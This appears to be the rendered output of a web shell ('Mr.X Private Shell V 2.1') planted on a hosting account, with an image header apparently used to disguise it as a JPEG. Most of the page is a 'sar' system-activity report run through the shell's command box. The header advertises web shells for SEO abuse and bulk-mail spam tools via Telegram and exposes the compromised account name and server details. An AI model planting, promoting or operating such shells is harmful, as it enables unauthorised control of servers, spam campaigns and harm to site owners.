����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

dccreditrepairto@216.73.216.185: ~ $
Linux 5.14.0-570.32.1.el9_6.x86_64 (50-6-4-53.bluehost.com) 	2026-03-24 	_x86_64_	(16 CPU)

00:00:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:01        all     24.62      0.03      2.57      0.25      0.00      0.00      0.09      0.00      0.00     72.45
00:10:01          0     21.95      0.00      2.31      0.47      0.00      0.00      0.24      0.00      0.00     75.03
00:10:01          1     27.20      0.00      2.73      0.36      0.00      0.00      0.13      0.00      0.00     69.57
00:10:01          2     26.63      0.02      2.98      0.13      0.00      0.00      0.05      0.00      0.00     70.19
00:10:01          3     22.86      0.00      2.54      0.18      0.01      0.00      0.50      0.00      0.00     73.92
00:10:01          4     25.05      0.03      2.58      0.26      0.00      0.00      0.09      0.00      0.00     71.99
00:10:01          5     27.15      0.01      2.81      0.38      0.00      0.00      0.06      0.00      0.00     69.59
00:10:01          6     27.32      0.00      2.89      0.19      0.00      0.00      0.04      0.00      0.00     69.56
00:10:01          7     24.87      0.04      2.42      0.24      0.00      0.00      0.03      0.00      0.00     72.41
00:10:01          8     24.24      0.06      2.46      0.11      0.00      0.00      0.05      0.00      0.00     73.08
00:10:01          9     23.52      0.05      2.62      0.66      0.00      0.00      0.04      0.00      0.00     73.11
00:10:01         10     24.51      0.00      2.52      0.14      0.00      0.00      0.04      0.00      0.00     72.78
00:10:01         11     23.89      0.10      2.48      0.20      0.00      0.00      0.04      0.00      0.00     73.29
00:10:01         12     26.02      0.00      2.57      0.06      0.00      0.00      0.05      0.00      0.00     71.31
00:10:01         13     22.11      0.17      2.29      0.08      0.00      0.00      0.03      0.00      0.00     75.32
00:10:01         14     23.94      0.00      2.53      0.18      0.00      0.00      0.04      0.00      0.00     73.31
00:10:01         15     22.60      0.00      2.36      0.33      0.00      0.00      0.03      0.00      0.00     74.68
00:20:01        all     16.77      0.00      2.07      0.13      0.00      0.00      0.06      0.00      0.00     80.97
00:20:01          0     13.90      0.00      1.95      0.04      0.00      0.00      0.21      0.00      0.00     83.90
00:20:01          1     20.12      0.00      2.74      0.08      0.00      0.00      0.09      0.00      0.00     76.98
00:20:01          2     19.93      0.00      2.29      0.36      0.00      0.00      0.05      0.00      0.00     77.36
00:20:01          3     16.96      0.00      2.10      0.02      0.00      0.00      0.32      0.00      0.00     80.60
00:20:01          4     17.43      0.01      2.11      0.21      0.00      0.00      0.06      0.00      0.00     80.18
00:20:01          5     18.15      0.06      2.15      0.20      0.00      0.00      0.05      0.00      0.00     79.39
00:20:01          6     16.35      0.00      1.92      0.07      0.00      0.00      0.02      0.00      0.00     81.64
00:20:01          7     16.86      0.00      2.06      0.15      0.00      0.00      0.02      0.00      0.00     80.91
00:20:01          8     16.69      0.00      1.97      0.02      0.00      0.00      0.03      0.00      0.00     81.28
00:20:01          9     15.45      0.00      1.86      0.25      0.00      0.00      0.02      0.00      0.00     82.42
00:20:01         10     15.92      0.00      2.03      0.17      0.00      0.00      0.04      0.00      0.00     81.83
00:20:01         11     16.11      0.00      1.96      0.03      0.00      0.00      0.02      0.00      0.00     81.87
00:20:01         12     15.88      0.00      2.06      0.13      0.00      0.00      0.04      0.00      0.00     81.89
00:20:01         13     16.20      0.00      1.97      0.11      0.00      0.00      0.02      0.00      0.00     81.70
00:20:01         14     16.08      0.00      2.00      0.02      0.00      0.00      0.03      0.00      0.00     81.87
00:20:01         15     16.22      0.01      1.95      0.18      0.00      0.00      0.02      0.00      0.00     81.64
00:30:00        all     12.94      0.00      1.70      0.12      0.00      0.00      0.04      0.00      0.00     85.20
00:30:00          0     10.96      0.00      1.48      0.07      0.00      0.00      0.13      0.00      0.00     87.36
00:30:00          1     17.64      0.00      2.13      0.04      0.00      0.00      0.05      0.00      0.00     80.15
00:30:00          2     16.93      0.00      1.95      0.03      0.00      0.00      0.03      0.00      0.00     81.07
00:30:00          3     13.88      0.00      1.81      0.28      0.00      0.00      0.20      0.00      0.00     83.82
00:30:00          4     12.60      0.00      1.58      0.14      0.00      0.00      0.04      0.00      0.00     85.65
00:30:00          5     15.73      0.00      1.86      0.16      0.00      0.00      0.03      0.00      0.00     82.22
00:30:00          6     14.88      0.03      1.95      0.07      0.00      0.00      0.01      0.00      0.00     83.06
00:30:00          7     12.77      0.00      1.58      0.11      0.00      0.00      0.01      0.00      0.00     85.53
00:30:00          8     11.29      0.00      1.47      0.16      0.00      0.00      0.02      0.00      0.00     87.06
00:30:00          9     10.51      0.00      1.39      0.01      0.00      0.00      0.01      0.00      0.00     88.09
00:30:00         10     13.87      0.01      2.19      0.32      0.00      0.00      0.03      0.00      0.00     83.59
00:30:00         11     12.07      0.00      1.46      0.06      0.00      0.00      0.01      0.00      0.00     86.39
00:30:00         12     13.42      0.00      1.81      0.04      0.00      0.00      0.03      0.00      0.00     84.71
00:30:00         13     10.98      0.00      1.50      0.19      0.00      0.00      0.02      0.00      0.00     87.32
00:30:00         14      8.93      0.00      1.53      0.19      0.00      0.00      0.01      0.00      0.00     89.34
00:30:00         15     10.59      0.00      1.46      0.02      0.00      0.00      0.01      0.00      0.00     87.92
00:40:01        all     11.09      0.00      1.53      0.12      0.00      0.00      0.05      0.00      0.00     87.20
00:40:01          0      9.51      0.00      1.41      0.14      0.00      0.00      0.17      0.00      0.00     88.78
00:40:01          1     15.31      0.00      1.83      0.14      0.00      0.00      0.06      0.00      0.00     82.66
00:40:01          2     12.98      0.00      1.79      0.17      0.00      0.00      0.02      0.00      0.00     85.04
00:40:01          3     11.63      0.00      1.56      0.05      0.00      0.00      0.30      0.00      0.00     86.45
00:40:01          4     10.71      0.00      1.33      0.24      0.00      0.00      0.03      0.00      0.00     87.68
00:40:01          5     13.19      0.00      1.80      0.05      0.00      0.00      0.04      0.00      0.00     84.92
00:40:01          6     13.00      0.00      1.72      0.10      0.00      0.00      0.01      0.00      0.00     85.17
00:40:01          7     10.52      0.00      1.48      0.02      0.00      0.00      0.01      0.00      0.00     87.97
00:40:01          8     10.34      0.00      1.39      0.05      0.00      0.00      0.02      0.00      0.00     88.21
00:40:01          9      9.49      0.00      1.29      0.04      0.00      0.00      0.02      0.00      0.00     89.16
00:40:01         10     10.17      0.04      1.33      0.05      0.00      0.00      0.03      0.00      0.00     88.40
00:40:01         11      9.49      0.00      1.41      0.23      0.00      0.00      0.01      0.00      0.00     88.86
00:40:01         12     10.05      0.00      1.41      0.19      0.00      0.00      0.02      0.00      0.00     88.33
00:40:01         13      9.18      0.00      1.69      0.42      0.00      0.00      0.02      0.00      0.00     88.68
00:40:01         14     11.18      0.00      1.58      0.04      0.00      0.00      0.02      0.00      0.00     87.17
00:40:01         15     10.69      0.00      1.54      0.05      0.00      0.00      0.01      0.00      0.00     87.71
00:50:00        all     23.98      0.00      2.73      0.11      0.00      0.00      0.09      0.00      0.00     73.10
00:50:00          0     21.27      0.00      2.42      0.25      0.00      0.00      0.23      0.00      0.00     75.83
00:50:00          1     26.38      0.00      2.75      0.10      0.00      0.00      0.13      0.00      0.00     70.65
00:50:00          2     29.49      0.00      3.07      0.22      0.00      0.00      0.04      0.00      0.00     67.18
00:50:00          3     23.12      0.00      2.70      0.03      0.00      0.00      0.48      0.00      0.00     73.67
00:50:00          4     24.18      0.00      2.70      0.14      0.00      0.00      0.08      0.00      0.00     72.90
00:50:00          5     25.38      0.00      2.97      0.05      0.00      0.00      0.06      0.00      0.00     71.54
00:50:00          6     25.24      0.00      2.85      0.19      0.00      0.00      0.04      0.00      0.00     71.67
00:50:00          7     25.25      0.01      2.75      0.03      0.00      0.00      0.02      0.00      0.00     71.94
00:50:00          8     23.52      0.03      2.67      0.05      0.00      0.00      0.05      0.00      0.00     73.69
00:50:00          9     21.71      0.00      2.71      0.02      0.00      0.00      0.04      0.00      0.00     75.52
00:50:00         10     23.51      0.00      3.04      0.31      0.00      0.00      0.06      0.00      0.00     73.09
00:50:00         11     25.19      0.00      2.82      0.02      0.00      0.00      0.03      0.00      0.00     71.94
00:50:00         12     21.83      0.00      2.50      0.01      0.00      0.00      0.04      0.00      0.00     75.61
00:50:00         13     21.25      0.00      2.43      0.03      0.00      0.00      0.03      0.00      0.00     76.27
00:50:00         14     23.54      0.00      2.64      0.15      0.00      0.00      0.04      0.00      0.00     73.63
00:50:00         15     22.79      0.00      2.68      0.08      0.00      0.00      0.03      0.00      0.00     74.42
01:00:00        all     23.26      0.00      2.65      0.15      0.00      0.00      0.08      0.00      0.00     73.85
01:00:00          0     21.50      0.00      2.67      0.14      0.00      0.00      0.22      0.00      0.00     75.47
01:00:00          1     25.93      0.00      3.00      0.22      0.00      0.00      0.11      0.00      0.00     70.73
01:00:00          2     26.19      0.00      2.94      0.25      0.00      0.00      0.04      0.00      0.00     70.58
01:00:00          3     23.22      0.00      2.68      0.05      0.00      0.00      0.43      0.00      0.00     73.62
01:00:00          4     23.45      0.00      2.63      0.36      0.00      0.00      0.07      0.00      0.00     73.49
01:00:00          5     25.76      0.00      2.86      0.20      0.00      0.00      0.06      0.00      0.00     71.12
01:00:00          6     23.55      0.00      2.62      0.05      0.00      0.00      0.04      0.00      0.00     73.74
01:00:00          7     25.41      0.00      2.69      0.20      0.00      0.00      0.02      0.00      0.00     71.69
01:00:00          8     24.33      0.00      2.67      0.07      0.00      0.00      0.05      0.00      0.00     72.88
01:00:00          9     21.90      0.04      2.55      0.19      0.00      0.00      0.04      0.00      0.00     75.28
01:00:00         10     22.72      0.00      2.56      0.08      0.00      0.00      0.05      0.00      0.00     74.58
01:00:00         11     21.65      0.00      2.38      0.14      0.00      0.00      0.02      0.00      0.00     75.80
01:00:00         12     21.25      0.00      2.59      0.05      0.00      0.00      0.05      0.00      0.00     76.05
01:00:00         13     21.51      0.00      2.47      0.06      0.00      0.00      0.04      0.00      0.00     75.92
01:00:00         14     22.08      0.00      2.57      0.19      0.00      0.00      0.04      0.00      0.00     75.12
01:00:00         15     21.73      0.02      2.55      0.21      0.00      0.00      0.03      0.00      0.00     75.47
01:10:00        all     12.45      0.01      1.57      0.13      0.00      0.00      0.04      0.00      0.00     85.79
01:10:00          0      8.51      0.00      1.18      0.08      0.00      0.00      0.17      0.00      0.00     90.07
01:10:00          1     16.75      0.00      1.94      0.16      0.00      0.00      0.05      0.00      0.00     81.10
01:10:00          2     15.93      0.00      1.85      0.07      0.00      0.00      0.02      0.00      0.00     82.13
01:10:00          3     12.02      0.00      1.48      0.21      0.00      0.00      0.28      0.00      0.00     86.02
01:10:00          4     12.06      0.00      1.54      0.21      0.00      0.00      0.02      0.00      0.00     86.18
01:10:00          5     14.59      0.00      1.80      0.18      0.00      0.00      0.03      0.00      0.00     83.40
01:10:00          6     13.58      0.00      1.69      0.02      0.00      0.00      0.01      0.00      0.00     84.70
01:10:00          7     12.14      0.00      1.49      0.07      0.00      0.00      0.01      0.00      0.00     86.28
01:10:00          8     13.62      0.00      1.72      0.18      0.00      0.00      0.03      0.00      0.00     84.45
01:10:00          9     11.21      0.00      1.40      0.04      0.00      0.00      0.01      0.00      0.00     87.35
01:10:00         10     11.95      0.00      1.55      0.09      0.00      0.00      0.02      0.00      0.00     86.39
01:10:00         11     11.23      0.00      1.36      0.07      0.00      0.00      0.01      0.00      0.00     87.33
01:10:00         12     10.49      0.00      1.57      0.27      0.00      0.00      0.02      0.00      0.00     87.65
01:10:00         13     11.95      0.00      1.53      0.15      0.00      0.00      0.01      0.00      0.00     86.36
01:10:00         14     12.55      0.04      1.59      0.07      0.00      0.00      0.02      0.00      0.00     85.74
01:10:00         15     10.66      0.17      1.46      0.23      0.00      0.00      0.01      0.00      0.00     87.46
01:20:00        all     27.77      0.00      2.82      0.12      0.00      0.00      0.08      0.00      0.00     69.20
01:20:00          0     26.87      0.00      2.64      0.30      0.00      0.00      0.19      0.00      0.00     70.00
01:20:00          1     32.33      0.00      3.07      0.04      0.00      0.00      0.11      0.00      0.00     64.45
01:20:00          2     29.35      0.00      3.04      0.04      0.00      0.00      0.05      0.00      0.00     67.52
01:20:00          3     24.12      0.00      2.75      0.09      0.00      0.00      0.41      0.00      0.00     72.64
01:20:00          4     26.77      0.02      2.67      0.17      0.00      0.00      0.06      0.00      0.00     70.31
01:20:00          5     29.97      0.00      2.94      0.12      0.00      0.00      0.07      0.00      0.00     66.89
01:20:00          6     29.78      0.00      3.03      0.04      0.00      0.00      0.05      0.00      0.00     67.09
01:20:00          7     27.67      0.00      2.72      0.06      0.00      0.00      0.03      0.00      0.00     69.51
01:20:00          8     29.70      0.00      2.84      0.10      0.00      0.00      0.06      0.00      0.00     67.30
01:20:00          9     27.42      0.00      2.66      0.02      0.00      0.00      0.03      0.00      0.00     69.87
01:20:00         10     29.04      0.00      2.92      0.07      0.00      0.00      0.06      0.00      0.00     67.91
01:20:00         11     26.68      0.00      2.66      0.32      0.00      0.00      0.03      0.00      0.00     70.31
01:20:00         12     27.36      0.00      2.67      0.03      0.00      0.00      0.06      0.00      0.00     69.89
01:20:00         13     25.72      0.00      2.80      0.16      0.00      0.00      0.05      0.00      0.00     71.27
01:20:00         14     25.75      0.00      3.11      0.21      0.00      0.00      0.04      0.00      0.00     70.89
01:20:00         15     25.82      0.00      2.67      0.10      0.00      0.00      0.04      0.00      0.00     71.37
01:30:00        all     17.04      0.00      1.85      0.11      0.00      0.00      0.04      0.00      0.00     80.96
01:30:00          0     14.49      0.00      1.63      0.27      0.00      0.00      0.13      0.00      0.00     83.47
01:30:00          1     23.26      0.00      2.18      0.06      0.00      0.00      0.06      0.00      0.00     74.43
01:30:00          2     20.19      0.00      2.10      0.07      0.00      0.00      0.02      0.00      0.00     77.62
01:30:00          3     16.78      0.00      1.78      0.05      0.00      0.00      0.19      0.00      0.00     81.20
01:30:00          4     17.96      0.00      1.80      0.04      0.00      0.00      0.03      0.00      0.00     80.17
01:30:00          5     19.34      0.00      1.86      0.03      0.00      0.00      0.04      0.00      0.00     78.73
01:30:00          6     19.88      0.00      2.03      0.27      0.00      0.00      0.02      0.00      0.00     77.81
01:30:00          7     17.81      0.00      1.88      0.26      0.00      0.00      0.02      0.00      0.00     80.04
01:30:00          8     17.25      0.00      1.87      0.08      0.00      0.00      0.03      0.00      0.00     80.78
01:30:00          9     17.22      0.00      1.85      0.00      0.00      0.00      0.01      0.00      0.00     80.92
01:30:00         10     15.09      0.00      2.27      0.01      0.00      0.00      0.02      0.00      0.00     82.61
01:30:00         11     16.05      0.00      1.70      0.03      0.00      0.00      0.02      0.00      0.00     82.21
01:30:00         12     12.44      0.00      1.46      0.33      0.00      0.00      0.03      0.00      0.00     85.75
01:30:00         13     15.42      0.04      1.62      0.12      0.00      0.00      0.02      0.00      0.00     82.78
01:30:00         14     14.73      0.00      1.79      0.13      0.00      0.00      0.02      0.00      0.00     83.33
01:30:00         15     14.73      0.00      1.77      0.04      0.00      0.00      0.01      0.00      0.00     83.45
01:40:00        all     15.17      0.00      1.75      0.12      0.00      0.00      0.05      0.00      0.00     82.91
01:40:00          0     12.38      0.00      1.53      0.04      0.00      0.00      0.15      0.00      0.00     85.90
01:40:00          1     19.05      0.00      1.95      0.10      0.00      0.00      0.06      0.00      0.00     78.85
01:40:00          2     19.34      0.00      2.19      0.07      0.00      0.00      0.02      0.00      0.00     78.37
01:40:00          3     16.50      0.00      1.80      0.06      0.00      0.00      0.27      0.00      0.00     81.36
01:40:00          4     15.18      0.00      1.68      0.29      0.00      0.00      0.04      0.00      0.00     82.81
01:40:00          5     15.97      0.00      1.82      0.02      0.00      0.00      0.03      0.00      0.00     82.15
01:40:00          6     16.54      0.00      1.83      0.28      0.00      0.00      0.02      0.00      0.00     81.34
01:40:00          7     14.94      0.00      1.69      0.01      0.00      0.00      0.01      0.00      0.00     83.34
01:40:00          8     15.06      0.00      1.61      0.05      0.00      0.00      0.03      0.00      0.00     83.24
01:40:00          9     13.65      0.00      1.79      0.04      0.00      0.00      0.01      0.00      0.00     84.50
01:40:00         10     14.75      0.00      1.86      0.37      0.00      0.00      0.03      0.00      0.00     82.98
01:40:00         11     14.85      0.02      1.75      0.00      0.00      0.00      0.01      0.00      0.00     83.37
01:40:00         12     14.04      0.00      1.62      0.07      0.00      0.00      0.03      0.00      0.00     84.24
01:40:00         13     14.20      0.00      1.57      0.05      0.00      0.00      0.01      0.00      0.00     84.18
01:40:00         14     12.29      0.00      1.55      0.09      0.00      0.00      0.03      0.00      0.00     86.05
01:40:00         15     14.02      0.00      1.71      0.39      0.00      0.00      0.01      0.00      0.00     83.87
Average:        all     18.51      0.01      2.12      0.14      0.00      0.00      0.06      0.00      0.00     79.16
Average:          0     16.13      0.00      1.92      0.18      0.00      0.00      0.18      0.00      0.00     81.58
Average:          1     22.40      0.00      2.43      0.13      0.00      0.00      0.08      0.00      0.00     74.96
Average:          2     21.69      0.00      2.42      0.14      0.00      0.00      0.03      0.00      0.00     75.71
Average:          3     18.11      0.00      2.12      0.10      0.00      0.00      0.34      0.00      0.00     79.33
Average:          4     18.54      0.01      2.06      0.21      0.00      0.00      0.05      0.00      0.00     79.14
Average:          5     20.52      0.01      2.29      0.14      0.00      0.00      0.05      0.00      0.00     77.00
Average:          6     20.01      0.00      2.25      0.13      0.00      0.00      0.02      0.00      0.00     77.58
Average:          7     18.82      0.00      2.08      0.11      0.00      0.00      0.02      0.00      0.00     78.97
Average:          8     18.60      0.01      2.07      0.09      0.00      0.00      0.04      0.00      0.00     79.20
Average:          9     17.20      0.01      2.01      0.13      0.00      0.00      0.02      0.00      0.00     80.63
Average:         10     18.15      0.00      2.23      0.16      0.00      0.00      0.04      0.00      0.00     79.42
Average:         11     17.72      0.01      2.00      0.11      0.00      0.00      0.02      0.00      0.00     80.14
Average:         12     17.28      0.00      2.02      0.12      0.00      0.00      0.04      0.00      0.00     80.55
Average:         13     16.85      0.02      1.99      0.14      0.00      0.00      0.02      0.00      0.00     80.98
Average:         14     17.11      0.00      2.09      0.13      0.00      0.00      0.03      0.00      0.00     80.65
Average:         15     16.98      0.02      2.01      0.16      0.00      0.00      0.02      0.00      0.00     80.80

00:00:00       proc/s   cswch/s
00:10:01        11.37   9695.33
00:20:01        14.96   7760.62
00:30:00         9.86   6019.55
00:40:01        10.73   5935.25
00:50:00        13.95   8961.39
01:00:00        13.27   9492.36
01:10:00         9.97   5988.38
01:20:00        12.49   8788.29
01:30:00         9.05   6324.64
01:40:00        10.84   6448.49
Average:        11.65   7541.13

00:00:00     pswpin/s pswpout/s
00:10:01         0.68      0.00
00:20:01         0.00      0.00
00:30:00         0.00      0.00
00:40:01         0.00      0.00
00:50:00         0.00      0.00
01:00:00         2.62      0.00
01:10:00         0.98      0.00
01:20:00         0.00      0.00
01:30:00         0.00      0.00
01:40:00         0.01      0.00
Average:         0.43      0.00

00:00:00     pgpgin/s pgpgout/s   fault/s  majflt/s  pgfree/s pgscank/s pgscand/s pgsteal/s    %vmeff
00:10:01      1047.11   2040.07  39120.12      0.43  50069.16      0.00      0.00    109.73      0.00
00:20:01         9.35   1747.69  33069.62      0.03  46176.99      0.00      0.00    102.98      0.00
00:30:00         1.74   1294.26  33120.76      0.04  46064.47      0.00      0.00    116.66      0.00
00:40:01        10.44   1371.26  25886.76      0.04  36093.56      0.00      0.00     99.13      0.00
00:50:00         6.95   1538.13  48115.50      0.05  64071.97      0.00      0.00    113.14      0.00
01:00:00        26.28   1672.91  46815.79      1.08  63865.10      0.00      0.00    106.18      0.00
01:10:00        12.66   1325.76  28817.39      0.21  39907.40      0.00      0.00    126.84      0.00
01:20:00       208.65   1704.30  45152.02      0.05  61991.21      0.00      0.00    113.04      0.00
01:30:00         2.78   1291.77  30883.78      0.05  43945.75      0.00      0.00    126.73      0.00
01:40:00        18.28   1466.38  27918.61      0.04  39797.00      0.00      0.00    140.36      0.00
Average:       134.47   1545.28  35886.31      0.20  49193.52      0.00      0.00    115.48      0.00

00:00:00          tps      rtps      wtps      dtps   bread/s   bwrtn/s   bdscd/s
00:10:01       115.56     48.83     66.74      0.00   2094.17   4064.35      0.00
00:20:01        66.29      0.54     65.75      0.00     18.70   3481.17      0.00
00:30:00        57.64      0.23     57.42      0.00      3.47   2576.50      0.00
00:40:01        60.07      0.47     59.61      0.00     20.88   2729.71      0.00
00:50:00        59.84      0.38     59.46      0.00     13.90   3054.36      0.00
01:00:00        81.44      1.60     79.84      0.00     52.57   3330.68      0.00
01:10:00        61.54      1.07     60.47      0.00     25.32   2633.48      0.00
01:20:00        69.50      1.67     67.83      0.00    417.26   3391.51      0.00
01:30:00        54.58      0.19     54.39      0.00      5.56   2565.84      0.00
01:40:00        60.21      0.35     59.86      0.00     36.56   2920.67      0.00
Average:        68.67      5.53     63.14      0.00    268.93   3074.87      0.00

00:00:00    kbmemfree   kbavail kbmemused  %memused kbbuffers  kbcached  kbcommit   %commit  kbactive   kbinact   kbdirty  kbanonpg    kbslab  kbkstack   kbpgtbl  kbvmused
00:10:01      5851140  56963112   6491540      9.94   1357468  42579224  12291672     17.68  16771936  33430704      3204   6125708   9035488     13520     38548     28288
00:20:01      7299640  58294428   5218332      7.99   1353860  42407644  10785464     15.52  15468396  33317448      2020   4884512   9035384     13616     33756     28612
00:30:00      8112280  58973052   4539136      6.95   1335428  42294584   9710248     13.97  14762172  33162012       476   4148080   9033432     13072     29560     27920
00:40:01      6803200  57559020   5879468      9.00   1331020  42265624  11672736     16.79  16261060  33017596       776   5535052   9035548     13664     37108     28532
00:50:00      6229544  56859332   6581916     10.08   1319576  42145948  12392116     17.83  16969092  32855172      1568   6211188   9037876     13616     38828     28528
01:00:00      7875044  58384056   5121260      7.84   1301752  41978756  10543932     15.17  15487448  32695424      1316   4751140   9038048     13264     32876     28144
01:10:00      6183576  56549260   6886188     10.54   1272904  41931152  12805340     18.42  17310888  32500152      3016   6458124   9041040     13776     41156     28576
01:20:00      8204696  58571708   4850344      7.43   1236680  41986444  10487200     15.09  15397432  32465308       712   4492776   9036696     13536     32460     28484
01:30:00      8049544  58263680   5168148      7.91   1218968  41841872  10609456     15.26  15737856  32292188       608   4822300   9036328     13312     31600     28224
01:40:00      8866064  58930596   4482452      6.86   1218120  41712204  10073484     14.49  15147608  32083556       516   4153780   9036020     13264     30484     28176
Average:      7347473  57934824   5521878      8.45   1294578  42114345  11137165     16.02  15931389  32781956      1421   5158266   9036586     13464     34638     28348

00:00:00    kbswpfree kbswpused  %swpused  kbswpcad   %swpcad
00:10:01      1956160   2238140     53.36    142956      6.39
00:20:01      1956160   2238140     53.36    142956      6.39
00:30:00      1956160   2238140     53.36    142956      6.39
00:40:01      1956160   2238140     53.36    142956      6.39
00:50:00      1956160   2238140     53.36    142956      6.39
01:00:00      1961280   2233020     53.24    144176      6.46
01:10:00      1963840   2230460     53.18    143876      6.45
01:20:00      1963840   2230460     53.18    143876      6.45
01:30:00      1963840   2230460     53.18    143876      6.45
01:40:00      1963840   2230460     53.18    143904      6.45
Average:      1959744   2234556     53.28    143449      6.42

00:00:00    kbhugfree kbhugused  %hugused kbhugrsvd kbhugsurp
00:10:01            0         0      0.00         0         0
00:20:01            0         0      0.00         0         0
00:30:00            0         0      0.00         0         0
00:40:01            0         0      0.00         0         0
00:50:00            0         0      0.00         0         0
01:00:00            0         0      0.00         0         0
01:10:00            0         0      0.00         0         0
01:20:00            0         0      0.00         0         0
01:30:00            0         0      0.00         0         0
01:40:00            0         0      0.00         0         0
Average:            0         0      0.00         0         0

00:00:00    dentunusd   file-nr  inode-nr    pty-nr
00:10:01      5723571      5376   4185155         0
00:20:01      5726789      5280   4186011         0
00:30:00      5729711      5088   4186316         0
00:40:01      5732252      5248   4185423         0
00:50:00      5736676      5248   4186471         0
01:00:00      5740833      5024   4187887         0
01:10:00      5746724      5376   4187816         0
01:20:00      5749448      5536   4187822         0
01:30:00      5752511      5184   4188116         0
01:40:00      5754795      5344   4185129         0
Average:      5739331      5270   4186615         0

00:00:00      runq-sz  plist-sz   ldavg-1   ldavg-5  ldavg-15   blocked
00:10:01            2       834      5.53      4.71      3.76         0
00:20:01           10       849      3.76      3.79      3.59         1
00:30:00            3       806      2.52      2.57      2.97         0
00:40:01           14       846      2.31      2.11      2.47         0
00:50:00            6       840      4.80      4.18      3.44         0
01:00:00            1       821      4.14      4.28      3.84         0
01:10:00            4       852      3.46      2.63      3.05         0
01:20:00            1       837      3.31      4.51      3.93         0
01:30:00            2       822      3.70      3.49      3.52         0
01:40:00            2       821      2.17      2.65      3.09         0
Average:            4       833      3.57      3.49      3.37         0

00:00:00          TTY   rcvin/s   xmtin/s framerr/s prtyerr/s     brk/s   ovrun/s
00:10:01            0      0.00      0.00      0.00      0.00      0.00      0.00
00:20:01            0      0.00      0.00      0.00      0.00      0.00      0.00
00:30:00            0      0.00      0.00      0.00      0.00      0.00      0.00
00:40:01            0      0.00      0.00      0.00      0.00      0.00      0.00
00:50:00            0      0.00      0.00      0.00      0.00      0.00      0.00
01:00:00            0      0.00      0.00      0.00      0.00      0.00      0.00
01:10:00            0      0.00      0.00      0.00      0.00      0.00      0.00
01:20:00            0      0.00      0.00      0.00      0.00      0.00      0.00
01:30:00            0      0.00      0.00      0.00      0.00      0.00      0.00
01:40:00            0      0.00      0.00      0.00      0.00      0.00      0.00
Average:            0      0.00      0.00      0.00      0.00      0.00      0.00

00:00:00          DEV       tps     rkB/s     wkB/s     dkB/s   areq-sz    aqu-sz     await     %util
00:10:01          sda    115.56   1047.09   2032.18      0.00     26.65      0.10      0.67      4.67
00:10:01        loop0      0.58      0.02      7.90      2.55     18.10      0.00      1.58      0.08
00:20:01          sda     66.29      9.35   1740.59      0.00     26.40      0.06      0.66      2.52
00:20:01        loop0      0.57      0.00      7.10      2.51     16.80      0.00      1.14      0.06
00:30:00          sda     57.64      1.74   1288.24      0.00     22.38      0.06      0.66      2.28
00:30:00        loop0      0.52      0.00      6.01      1.98     15.40      0.00      0.88      0.04
00:40:01          sda     60.07     10.44   1364.85      0.00     22.89      0.06      0.69      2.24
00:40:01        loop0      0.56      0.00      6.40      2.46     15.95      0.00      0.84      0.04
00:50:00          sda     59.84      6.95   1527.18      0.00     25.64      0.06      0.66      2.38
00:50:00        loop0      0.64      0.00     10.94      5.56     25.93      0.00      1.07      0.06
01:00:00          sda     81.44     26.28   1665.34      0.00     20.77      0.08      0.65      3.45
01:00:00        loop0      0.58      0.00      7.57      2.71     17.63      0.00      1.23      0.06
01:10:00          sda     61.54     12.66   1316.74      0.00     21.60      0.06      0.71      2.43
01:10:00        loop0      0.70      0.00      9.02      2.96     17.16      0.00      0.99      0.06
01:20:00          sda     69.50    208.63   1695.76      0.00     27.40      0.07      0.66      2.72
01:20:00        loop0      0.68      0.02      8.55      3.70     18.13      0.00      0.80      0.05
01:30:00          sda     54.58      2.78   1282.92      0.00     23.55      0.05      0.67      2.15
01:30:00        loop0      0.66      0.00      8.85      3.79     19.19      0.00      0.83      0.05
01:40:00          sda     60.21     18.28   1460.33      0.00     24.56      0.06      0.70      2.28
